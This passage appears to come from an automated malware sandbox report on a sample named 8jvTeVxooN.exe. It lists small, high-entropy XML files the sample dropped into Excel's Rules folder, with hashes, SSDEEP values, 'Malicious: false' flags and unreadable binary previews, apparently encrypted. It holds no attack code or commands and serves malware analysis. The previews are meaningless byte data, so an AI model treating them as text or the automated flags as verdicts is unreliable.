82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.68284154977731
Encrypted:	false
SSDEEP:	12:67DeARGU3Mgvun9BxU/vnCWldt9QO3fmVhj1V2BCv8c96zxjuOcii9a:2DeARGMkpUyWHOVF1R6NSObD
MD5:	7AF270FCB0C571545803ECF4CCD3ACEC
SHA1:	BEBE128932594CC90BF4F037831E0FE917BE7847
SHA-256:	28D33668D97940DFBDD3E2507ABACA0022D53A820D9DC95FB75CBA7428A16038
SHA-512:	5963D695AABF52D13DCD23B0F1A4C738A996B3E199ED620B62040F077BAD8ED29742B4B43F0DE0A6528198BAC45E331A932BE75CCC3C1F67599695CDAEEA0541
Malicious:	false
Preview:	<?xml\....G...R.1..]x..4..M \....B;3x.s.....($..Zaw......n)..=.O.F.R.c.A...R..;.o.A#."...B.q.."~"<`3z..^l.3....g .....l#s.)......4ifiL.baC&....>..]..L..@...... $:.f5..?C~..)..x.."...~5.......di..p{.. 4...T.P.....gn..+...,.p......Uv.1u.A..._-..4.(..sa..1@.......$..gr.%....W.Y=p....O....9~1.?..r.z......@&L..O..+.RV.>.5._...&u.E..U..W#....LR1)m..p.P.._e.v.(..Q3..h....q.i;w+.6S..Q.....l8Fs.s.>zI..HJf.M..(.....~..'..@'....T....N..-e...$:"..-SC\..x.E..0O`?..l.._.nP.........W..};..6.[)..U.gVN......D.[e...m.{...z.....-..\|BZ..[.w...D..<..",.oF<.-."..+.H..L.......v\...Z..kb.;.)Mu..~....Zs.o......%.D..\|x.].t..O..}.M..9..Q&.{0...5R.#.......,N....+...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.725521721489989
Encrypted:	false
SSDEEP:	24:rwf+vtUf1rvboS+xwBJLK4dVQDgbXFIfmsYf04aF8ObD:rUjf1zboS+WJLHUeXCfmsdTFD
MD5:	8D5FD859E1ECAFD37AA5DE102C85BB17
SHA1:	DC64367EB262379DD4D56D1D435AE759A3F33762
SHA-256:	41DFDEAE85D22B72E931B5538BDBC094AE9F3F71C37C3BC39DFC8CE8958A94D1
SHA-512:	93DA39A3171BBB8DF1A920B0A3BFE3856612345F85504CB8E356DA44DB30DA4B0F0B37F9A470C162FF893DB0C4CBBEA0B987F4E380F99B3843A624E410D4E703
Malicious:	false
Preview:	<?xmlVR......^..L.Wo..x1...'.<8..8xpz`.~'UJ.j.e\.F...../}.-..r^d./..H..(a.9.q9.1.{W....b+..[......S..?...9.u.W.=B..h..3]....W..\.l.%..m`{e..M`...n.....Tdu..........]s>...tA.#.y.).B......b......c..s.@."\.l%,.tT....H-@.....Q\<.?.jp.5.V....B...h..+o.;"2.f{.T......=e.v.-._>..?....\|..e.l....>V..g..^..s+.ym.J.z.}.Vv8B.F.:.,..H.Z...}G.My0.=.(.=.6.s....N.{.].6.p.(.16.9+..K)...].9I....W..g."R....u..}E6..^.....\". ......_.o.Z..6...<!...p...~:...n......G.(..L'..$fH....6Q.r...[...&.)....P...w.@c....r..(@_.......8%N.:p...=.-?x...A......p".2L-8......aB..-V...r..o.+m... ....!#..:...\|.<.L....6w...t.......E.B..o.S...;.mn..S.).Y<.FA.~.b......T.e.vuz~.....7E..1C[....w...=.........`...........S..WZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.710741852179725
Encrypted:	false
SSDEEP:	12:wWBISBY/gKwepmS+CaoKKBwOJ5CQgd11NsqF1Ta0M5QK1WcZd1jcfuOcii9a:wOISsgnC9hAJsW1Ta0MaKY41VObD
MD5:	835ABA0237AE6C7C7B019D0664FB5954
SHA1:	5B45CA04C8D5ADB5D49D5FD84664846F3FCE03E6
SHA-256:	05782D3D5237C0CCA49B384CD93DD3F4C66AF6C61795A31E0576524F2EDF6BC9
SHA-512:	F9ED68B3C775B046674D315354FD5B571007BBF3C598262D031A3D0D77E552DBD470EDA089176266DB588360B9761EDC0AAA62AC3FC185B80E16CDBC3B512B39
Malicious:	false
Preview:	<?xml......D..o...Z..#...=........4.I.>^.:...2.WB.R...#.......R\+....De.....x....!..^..8P8.....m.....&.B..O..U.$.Gt..4..5.Vz.eRK....c\...N..2K.%..T\|..m..5ca.n...,..b....C...W...t.yJTz.>=.9.E.........E...T#?."..........1...}...c...o.-..N.%U.b?..5rg.......\...x.'=o.....D.e.`.}..........7M.,.......n..c........z.v.......i=...PK..q.O....9Q.......Vk..,..Tpv....xJ9unj...pQ`..;.Z~S4.(.3.....;">}*....n.:...<.w.].....7..Q....E...\|..x...t..'.H.U~.&\|..d<4mm.x.G.....Z.........\|..;.:.........2.~...`...=..r...4..=....^]]'.[..\.e.....w......u....7g.A.%...R;......&.........\|..U..%...rB.....7G.....6e[..O.\|O.[4......1.4.H..V.......^...Y.V..P..fZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.737482107889885
Encrypted:	false
SSDEEP:	24:YAI49ckl3X+v504yoEWahDroC4Rxl+eObD:z97c5ByoVaVrXOeD
MD5:	D766C36BBAF8019CE9A38C8AAC86A376
SHA1:	7E9AE518FD39D083898DAF3FC27989D939D039B7
SHA-256:	00F75D0BC4159D79DC09786E824A9922AC6C429B2747B946BB9009FCFB9F4824
SHA-512:	CE6A62F56678667FD1B62E60D031FA6F700CA4418694A97125AD607FF4B384C5F119DC0871DB9A614BF2B0B6D6D781935720B4C1866699D9177E8EDA9A31033D
Malicious:	false
Preview:	<?xmlewA.^...3..~J...a.....U'.v.%.=N..h....T'!CaJ..Y.......A.D.aW5.......Z...d..o..v....WS5.j.<....c.=m...Ex.1....$^..]..M......~.h..g......D.-......5.._.....SR.mR.\|..-O....$/#..y<.7....~,q.b..1..H..tM.1>@.:.^....e.}.....].0.AO^..z.......)..j#.. u..:.vH.o.....>....6 AK...^Kf.F.b..n...".L......H...RQ...s..b...*D....p.2....p........L..#..@.@-.(.P..$..2.]....1.C...;..=+$..l...J.I#.K.6...6H...?y....e..a5......OS.8Dj.e....^.V`w..r.6f=3Z...i........m....h o.i....$T........0..I....}...T.........O...'A1....q0.wd..VT\..A.w{ ....&...r.6N.C.....K(/..l..u....e<.(A5s._.mr...hz./.......<7..P.....P.&....U.y.]zB.N..k_.=...5...\T.Z.N1TV..0..\|FP_8ta.......b..D...]u.......&....KN.1.........m...@...]./C./H:....hd..En....o.8.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120635v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.735292015659474
Encrypted:	false
SSDEEP:	12:aJhpFLRW/QMBVevjuKRoCZzZg2nueDpB4ADqcIOsuKfI7MHLiSTc+BDs2kmfX5BO:avpFL8/QKebuOoS1geHfND+OXOKu9oQ8
MD5:	108DB0C7BDF14B899554F51AF69DC23B
SHA1:	4F226E0681EFA70864BCCB66FD92F75DC451A397
SHA-256:	FA256E7C9F26317598A402E4504210E5BADA80F265663DB5117F63B812ACF015
SHA-512:	7DAE13F1EE6606FC14A753D1A241DB4C2318F519E489EE9CA9D5B3E6431CB712D9E2B993DC3D71440BC1DE55A1A613501E27CA88D786E5F2A981EA08C6E9F953
Malicious:	false
Preview:	<?xmlz.s........q.{...m..b.w.?/...W....{Z.....k..+.N.fZ..).w..J@.sQp.......T.w.r.`..c..-0\|.L..wI..EW.-fl....P.Ub\..........n..I.7.. ............9.).n./.z...\....IX.e........V.*...#;:.....`[.T..................7.-]..<.{.....~..[h.S....:.j.....^.p.y...g...CqX.p(..x....^_9.R...\5.[.P%.....V.K.....=K1.@."..A...d....G#p.%..M.e...VZ?fZ..."...#.jbw}`T.H.Yt{55..u..#.....l#.1V.M....tN^+H6x...i"r.\|.Bm,..:.h.....t......G1......[.Q.<.D..\"......,..e.[..1?.9a$.v..f@....9.......E?.....(v\..5y.`..Q...q......@...s+..=V..z.FDpM...._.s.~p... ...;.8O.L..x).5K...y...>.......=.t.........X.^.zT.t.......C.3...W.Kf.t.m.....o{.?....5.....y.........S..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120636v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.729734141967105
Encrypted:	false
SSDEEP:	24:z9+TZUhSM2WxxCfyCVPWgFAfKSszjNLdObD:xoDFWxxCf/VOgFX3pLCD
MD5:	1749BA36D91308DEB16ADE1415261FDA
SHA1:	00560F8B210B0748F9B3CDDF2CC324A6DCD09693
SHA-256:	6DF60E6A2D7189EBA1404396C83497E0DC611EE56097F26DE6ACBF19C74D14E9
SHA-512:	9FC1893101309A686F2978149D4A31D8AA5EB9D56981B83A5EC5944C2C1264608B87AE84C3A79EFA943E0FF2B91C334EB56DA58F4296514811CA988DD4351667
Malicious:	false
Preview:	<?xml..u.3......O.b...C{..a...1:.U.......%:[. -.wE.....g....3B.7.R.L..l...w.t'.y.....ke...C....3.=1...i.....(..g.-.su.l..kM...$...F....d..#.:...S.d.b...RM\....KL-TG..f..4.p.n....z..tg..!....@N(eu]6q.S5.q..)g...X.(<j...D2.vu^..L.u.+.F..m^n".b..P..!..\.B..AP3i,Gz7..r.5.....gw....]?..0...!.=...p._..DB.=..........l.9N..<M..5.0...h.gR.".!.=.,!..+.\...A..e.......^.h..J..j...!.......v......`9Cw..CD...^.%~?..c.%.y2..z......'f..(.uz.........Zu...}Sr.;.#E..x....,...s......;.y&..HE..3.Y....\>..&.7...o2..r.'.U_....,.....".c.a...Q...t(..(K.J!....KC}....c>.C..L....s<.Tb.m.i..c.fe...K/h.%../.k..Kc......k1!:..rQ...T.cg.....w...^.d.. tx.!........G...E..;V.....?2.z..M.U.D.X..Nl......XP....9";...9.C..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120637v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.682522433749104
Encrypted:	false
SSDEEP:	12:hiim2tWcUluxqD9M9poZX/bI2lZ9Ra1INNk6nBT+AEz6m2Z29ZadRZNjuOcii9a:hiyC0CocLlZ/nu6BTbEJ2AvaNNSObD
MD5:	28CB37ABDB833FFA4E3CDCEC4D7D0CEF
SHA1:	7805CF45426D46ED5F74F17DE32998111C903229
SHA-256:	C2DE97FF96FF4CAD79305688B96DD6409C57F61EF049276E56206894D701D573
SHA-512:	B30D9151FE90D52005CC9BD1BD9AA4D4D5B714853E836AA674174BB420962E71762CEA7E6619DE0A6884F2D1626CD265F9379BDF980942AEA843F72CC15F164A
Malicious:	false
Preview:	<?xml.].jx6....@..v..r...W.0...%.$b!.<...`.l....0...BM.6....}.J,.B..>]A:H..g0...U.....V.5@o.D...a....1(.m.T,../......9.......;.9 ..k..m..Q..P7.z.h.....}Q...Tq..'yAnF...Aj.....g,T.'.Ep.9...V......DG/......@.A?O.w. ..@O..w.9...R..YM.}<.>....#.}P.7.)Rd.f93$...W.....-V..7.A-..e.R.uW...V/.l..T.v..?..O..n6P.d\..i..d....-)v..}.u.`I...6.(...v..A.ij.-i...nn..q~..bl.-.\..kxu2....i..7.1#5M.......&e.?...k......,V.@.3jKD.{.]d.\..a../..\|..}.......9k-.4GV...+.p,=...8oU.......r..8...i<.<B*...9..7..P.(..x.......C\|].:.R.S.k...r.,/......l...y.D.H......d._..U.....F.]...U.p...F-Wz.U......-..K..,...z8...F...zl..}.......n.p....bN-e...')..\..t....v.-.g...mU......2...\..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120638v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.701986915248733
Encrypted:	false
SSDEEP:	24:M6mXkbjiwHlX5/yQD0SXFm6Fpth7i8t1ObD:M6majhJLYSXFm6X32e6D
MD5:	EBB02F56A30733F95AA7541881EA194D
SHA1:	988F33F001BFFE13B921B28B42A051CCBB70DD3D
SHA-256:	23795FEF58AEB6E9E50875276A7714C356A125DF47CB06A6FE23C9EEA01168F8
SHA-512:	0F603B0D0EF48B92A27763BED5A96EDCB7A3250B9346D3F299EA8B9575D40FB8B35997D9278E005AE983C1C1DC34BB27004E2E232E2B4655522A5F52343565B6
Malicious:	false
Preview:	<?xml..W.M.{..?Q2;..r/..c6S...[...... ..<...+....Q....i...>...MfR..Ho<..u....gz.z.j..."...FH.XW'..~.oE.DVw.F.Vl..a....vO.3......?......>..>,}......#.J.W..D./?.g.u\|..-....a..1..Q...cK........ti..c&..#^...../;.......o......h......}FGv,...LQ+......C..]....zF(.Y..\M..r.\|...}.R..w..c..Z...)PKT.l.:.r.....<1.....j.-....w...G...-q)jL1......(f/@...../.....x.D;.'.04.z\V.>...............p......[....".......g.VJ.}..M.X}.y...SvY....O..s.p.X..:..-.....#.L.SP.aZ..d.J......M^g5..q.LM+.C...>9....D'D .C....F..4{.1.gPn..w.D...U3;..{0...Y.?d...$3.L$...v........._.@.}.h.&......Q......%1.....<P.,i'<.eG......"....:.d..\...y....R.u2y.m...C.........:5$.+.2!.n.3j.....v.s...mA..4<h..W.qc...g+.qk.Z-..T....IW...p.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120639v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	756
Entropy (8bit):	7.685077669381097
Encrypted:	false
SSDEEP:	12:5Ko87QsduSaRQfeQ4+mgBmoydeQh2obiuJgZPQ7M8PimuOcii9a:5E7Qss+NmgEooPpJg20jObD
MD5:	D5CDBBB1C7B59AF1F7EB1170606CF462
SHA1:	0D2441151ED766E0C0AF8E0BF3D63D18561631FE
SHA-256:	700AA9BFC18D596F06D5D6CE40216C9737730EE235CBAF9EB297F09532A55F4E
SHA-512:	BCA8034359F2B283C43D79BAEB79170CD387679BC74D80393585790F2EC6415BFC9D8203C8D7E0E037CAD3FCBE6DEC96CC4B1C90C1E8EA8964EDE06C2C15B35D
Malicious:	false
Preview:	<?xml_._.......T...D6..x..?....AJ..B....Jj."..g.+28.t.C."L.bQ.L'C m.Q.P....G..8..G.._>..\|..Zo...RHE..<...?...Cq..u.h2.$...0..._$.[.u9.l.g.wq..-..]-;.>.MA[.BM.v.B>7.R.\|{t..E..J`...J.v....k...._\..G.K.`z..?..?...0)PQI5...O<-.bS}.."5.$N./.D.>h.V.L...2...^.yo..gf..#...&.o.V:v..-3,.NB.....i..}.....-...'.S.~...grRqY.._.b...7.,...R..?.b....G.K..LOs.>D+.6.....(}.+n.r.^.qa......B.L..un.......\|T...$..N.L.Q_..EF4..U.....P5.......&..8..L.1.l....4"4.}....B......nV..v..6...41.\|^..js.S.....&.....X^V....z.ct.C.............H6...i.K....,.......8..5.B.R.R9..=..-...dU..c.w....S..k..."....fZCZW.Q..+......ND"v.>O.xk.K..D1..{...@...S....>4Q(...n..#.b.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.728134544120584
Encrypted:	false
SSDEEP:	12:cfWPLZsxi1MvHxXkjX2OnpITcq2KeBXuPzEUQP5hPQfyBr1JhdodExlPgbUmrjuI:cCsA1MvR0LPXlSzc5tPo4loQmGObD
MD5:	DF7ED742405871BAB6DF7B2F5D54F09E
SHA1:	466DC742F7D29236A7841BD9B2BF8E84D8CA5B94
SHA-256:	86026EA6414CA4A53E084750EF91FD670334B126909C80432C68FDCC0574685C
SHA-512:	A75FA04C0D4FAEBE9E7EE4041D0D1274CD8D21BE299B8CAA365D0AF2C73C9A95F9A8F3A026BCDF47C7215BBB409438C42975F4079A47688CBF762649AD5966E6
Malicious:	false
Preview:	<?xml..k.%...I..g...e....w....L.%.T.kD.....3...\|.]7{.cx..:..0z,..D.I...rs.X.s..j.....p$f.^+...6..V{l.>.....z.W...1[.....Y.h.xi...%.D...L..v>ZaX.ff...h.$}2NU....l...E.V..wt..:L...Y.m!..C5...d..N..z........5Q.P\|Z..b....+....`s...V.....1...4...>.........).e.9...R.(...f(8y.<...s..\|...go.BIM.x.....F.:........".JV....'g.(.c....0\|..i4...X .'x.Bj.r2..u.+=.......W.....exs.4v.....n4........x.`..&w.x...QI...N...._..9..n.I.6Vw...\...x_.}.M...w ...}(..A...s..b`.#..l\|^.........5yGq.:;........?m..YzB.?=..teu^YQ..c.W....1wn..GF.>.. @..\|....sH....OEQ..x...(9-.......m.vy._.....(..r.A..x..`.g..,.3j[CE....e..P...%.y..P...xaZ....@E....+.f>.*....J.....i....pq..C.>..o,)...P....[_..[...I..1.;....Ft)_+.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.704445477203229
Encrypted:	false
SSDEEP:	12:8CHcM8mTvkVh+QEzm1ICjISieSkwaEVx9FMIw1vL9ESk4kqw3VffLTbuOcii9a:8C8kT0h+gICtwaU9FMj51kjVvKObD
MD5:	02A1FF987A3D874EA738282176394D35
SHA1:	E8D1BC199BF11C4A11A709526D38B893B4C01B07
SHA-256:	CC5AF2F1E09FD34ACED6D7410F5E932DB757EFCB92E35EADFA6D19B1756EC63A
SHA-512:	09BF8422B4BB718ACAA7F0C413B281657A7865BDDD63E8AA1F7226FAF5C2DBBAEE4745FF50ACBFD5751BF792BD9658C39AB0EDD26F3758AC8B794F18A33BA462
Malicious:	false
Preview:	<?xmlG..]...Ja.)..Y.n...Cd...V.w.....qBi..Tjbm..Y.My.e.c......O(..6.dV:...R9'Q).0..d....G.l....:+.......=.c.B..n.v..p....L,.CK0..`.E...E.S...,kb.A.:y...x.zoZ..v......6&m.9.\ E..L..B..1W,-...O.j..>....%.W.9...."...bk.`...@....W.....2/.]q9}8.em.c..=L.}..:.LFLk...X.....B......)r..s.qRd'.i...nD...oD.G.........c.\H..nm.^.^s!.]......<.-W.....GF#.-.i.9QG........\..>..I.L..?=....{..f.+.....B.aoz.S.P,4X:bj.M...A!..i...x!..p..`...1...dmj.T....EGnp...J......Y....%....9..1........5kh....g.l)......a......&eE.G.b~...)..yF.m...\.b4..}...K..t...]....o.yCK+..Y.h...;..Yu.>[y..tH.."D.7G.....(.`(W_..#>=..n...........d!#.....1.S$J.RX../Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.706612068516851
Encrypted:	false
SSDEEP:	24:J3B49ck27Uhv//B8/6KBTfQW4u86roA9KtyiObD:JR49BOU9ZAdl4KSyFD
MD5:	71C5EC4AFA7B803AFF325484304CDF9F
SHA1:	076808E2D3ED955715E5D07A618565090EFFC080
SHA-256:	01731220350F1E7036B2F4FD7C9E96D9FB7EF828E8175F77B15DE74CCC080508
SHA-512:	6F167B4FA9C0F24F5C9A92C73E344235B6FB97D0247490ECED8C5F0491C43F9649E1AEE069CA163545D3955279AC9AC8858C5D09DFFB313259C1B7F82D6867B5
Malicious:	false
Preview:	<?xml.BO....LA@._...8}...!B.../..r+h.gn..h.)phh..b...0\E.}.".JH...Wx.."._".Z..q..]..3..`..8.J...M.K..$../E...6#\B#...M]'......;.t.Y.3[}...TU.n9./TB..f`..R.r /D..bw....%.3...;.FuxD..P.v...A.N.mr...........PF...v....PL>./..$.U.k2..\|...r.w..".g..1\..{.:..{.O.>'........f...dskFJ....bI,.0o1M[.Y.]........N.:...u..._m.4!.\|...IQ..Zrk3..~.X.....s6......jL3_s.h.......-.+...o...b..g..A...C..R..Z.W..H.o..m.>.qD..B.....}.....%&i..tm.2h.@2.....g.....4e....U.G....Zi.(.!.T...@.^+%../W/....;.........'.1b.\..?.9t..2.....WC...x.B!....U.;.h!3e.......j..8.9Se..rh.U..A..#a.3zu.C.y.#....j.y..<V..].a.v....G1`.,.5..".=N..3=K.S..[.iU.P."C...:...^.QpI...v2.]4....p'...^&.D6y.4.....x..}e41LT...,v..4:...q.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120643v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.655926532165696
Encrypted:	false
SSDEEP:	12:fHQeBTXFW27cWkTEo6Z9o7/lM+ohztHEPrQZv9zcAf1EWI+vp/uOcii9a:flFW2fkEo6Zcq+K68ZF51y+MObD
MD5:	BCF6A299DF939FE25C36F0A234E1712D
SHA1:	6F4E4B8ECAC9384CD466E766318DF8F2C7532B9A
SHA-256:	33EC6ABF227918967A202D12BD539C9646D01815A1D96BD4C2D33C581B48C027
SHA-512:	807352F8B79FA546CF7C2A7DD80832A7BE2433C80479E8AEEB79EB409798E8D44B5A05CA2BD9B5A6028D4AC6C1C56984210457516047DDAD1FF38B4399ADA762
Malicious:	false
Preview:	<?xml..+oE$....E..C.r...q(fG..../.PA.c.D.?.A..c..e..NV..;..K..:. ...>Ae.i.%Dj..A. ....H.......Os..<....?P\|.RIT..?c.Q.jS....5..w....M..ENF)-...z.7#W...l..3.T]....<..0..t.^:....L.0}.......M.w\.k5.X.@Z(2...pU.~....&..}j....h....u.d....6.tn..elD_...K[.....Q'..5#`...4..6C..6^....u.>Z.....\.M.....1C/S...\.D^.;.b.......(.dZEsg.z.Z...LB..5..@"..:0m....#...O.6b..@..\;.N.g..5..!..Es.C1.....~rr.(.......jZC.e(.;Bt:......l.k.....A.....H....6Q....r.y.STU......8i../%.i.....7r.h.a.o..B...a.Q.@.1u..k..tE.#.Y...Wh.l....e...i.".Yf.q..I....[I._...I.Nx.@.H...^..(S......~...M(...Rre...4.?....GHr.?.=......[]`d.c..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120644v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.767422471389849
Encrypted:	false
SSDEEP:	24:ixoTZ2ZHt9ealLbL8IX+FBPbWAVbegOzS76JuSObD:iu92ZHtH3oRVbvQkWMD
MD5:	686969CC4B967673E280EB4EBE4F1D81
SHA1:	3615A7042C2E56ADFB19A257BE8E2CD80C66514A
SHA-256:	B1BC63C5DB6FA2039B0E6A1013C0E88526AAF655325FB8B67B67CFE9052C3162
SHA-512:	BCDAFA71D9FBD0DCA9A791C8F108BC0363513DB79537FF503F30EA8022F235F13BABF7FEFD3072D0D59137215EF9F632A7A288BEE7EA7D406CFC69BE17BC169B
Malicious:	false
Preview:	<?xml.......Fi..^w=.V.A.\{0...,...V.Cu....N...b...b.o.zi.4^.h.p...{.........I...(....5.A....C..~9e...Y..-..O....$.K...`......r.7..E._.=..Ut..,...u.....CL....p.....~:Z..y...L.T..qg.........NS.$.......\|\|Q.@...g.s..O..\|Y].....yq....F..l.)....6......u..%hGj.R..b`-\|.c..l.n[.".T....M-.....-...L`.hP&j..y..q..q......:/Gv.....L.S..c.)..d.T.?%.]...D.l.Cq..~........d...&....@ .../....C.t..P.U^...."+.M...8)..7...A:]..U.6.=.)Qw.(<N$...-..K.A^+.p.ILG......s..yq.l..3RI....y...XHO.,5...>.......y ...HT..L.......@e...F~F...c...X.}b.'z.q..r...!hH9..M.g[a.{.%....._.m.;F.......bi).#=.%...{..a.9..r..M....<1.f.H.O.t...S.u.k..Guh5^.SS.../...Ef.C.p......X..7.V(.w.+..H..VQL....G. o....a.@.)..'..c.......<..l..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.740774280916394
Encrypted:	false
SSDEEP:	12:SCki8Otmr64sr/oFeLIYI5F9ej4311MpNOhLokyX42/XS4QANWWDrWy1RmYjuOcq:SCJ8OQu7rwSUH1SzIb1266RrWy1UYSOX
MD5:	229B4C28737960744DD9092D93C995EB
SHA1:	0C507E971FB6CEBE502746F7E862F32FDDDAA915
SHA-256:	8C408C2594E82E6DFF3D8E382592CDCDB15F4E1FC510A6D85B706354362DB8DC
SHA-512:	9EBED19C053E79CDE86BC288C7DFD31C011E40DD4C2B1BE47E7AC755B34A85FB93FA352481CDE988BBD6624DB9E0CBF13A0C9023926D24520029B4D3F093F860
Malicious:	false
Preview:	<?xmlB.....).tr..h...Gk.v.Mu.WC&.R.Kvn...2LIlc......tT.m'.7#.#$. Iv..K.T\|..(.Z.n...A..s.[.4#v... .....4....s..$..[....{...]O...]aK..,..:/.._.F......e........t......8k...2...#N.&O~V.b^..,..O.%2.b5v....6.I..-0....L...E....N...b.zym".qc..x....X.WN..Z..c.U..........6....T...h.aZ.f.R.;._.....b...O....@j.......G.'....8.D...%....4V.5^zA...Tsm...tb .....C.5"Ff.........a/;^...y1....<.c..9V...f..u~c.c9....=......r.`..z._......k..S....^...M.&.....aVr....E.........).u3D.....-....8.Mt..4..../...wY%.5>n..^..."9.[......,uja[......E.!.....\....}{~9y........RbHQ..f.wX.O...]..}..X*...K.kA.h.?\...`4..WUqg.8.!.L..{,,..~.v..... ...$U.;jry>....[...Q.4...u..la.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120646v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.679556256351465
Encrypted:	false
SSDEEP:	12:mnrTaOqCGSMmd/xbmGw8CyEvPy7GytBARJFLYIfwa5PpDEyV/VuZZACXzVFwuOcq:QKOgS7d/x6GB9EvPCGoI5P11qnXf1ObD
MD5:	D51D4A13BEFD81C15FE2D3945BB17452
SHA1:	C37BFA8C4D8195124C194797D79A8CDAA5E4059C
SHA-256:	0BBE268BBD248BDA6C762F1028BFC616A8EA37173BAB540FC13266F57F2A2F1B
SHA-512:	5D42041EF0E101724DF3DF596F96485CF0402AE056E7EEFE67ABBC5AEAE080EBDB27F63669AE37D8A789B467C6BA866059EC645091BED9D8133632B935F38EAD
Malicious:	false
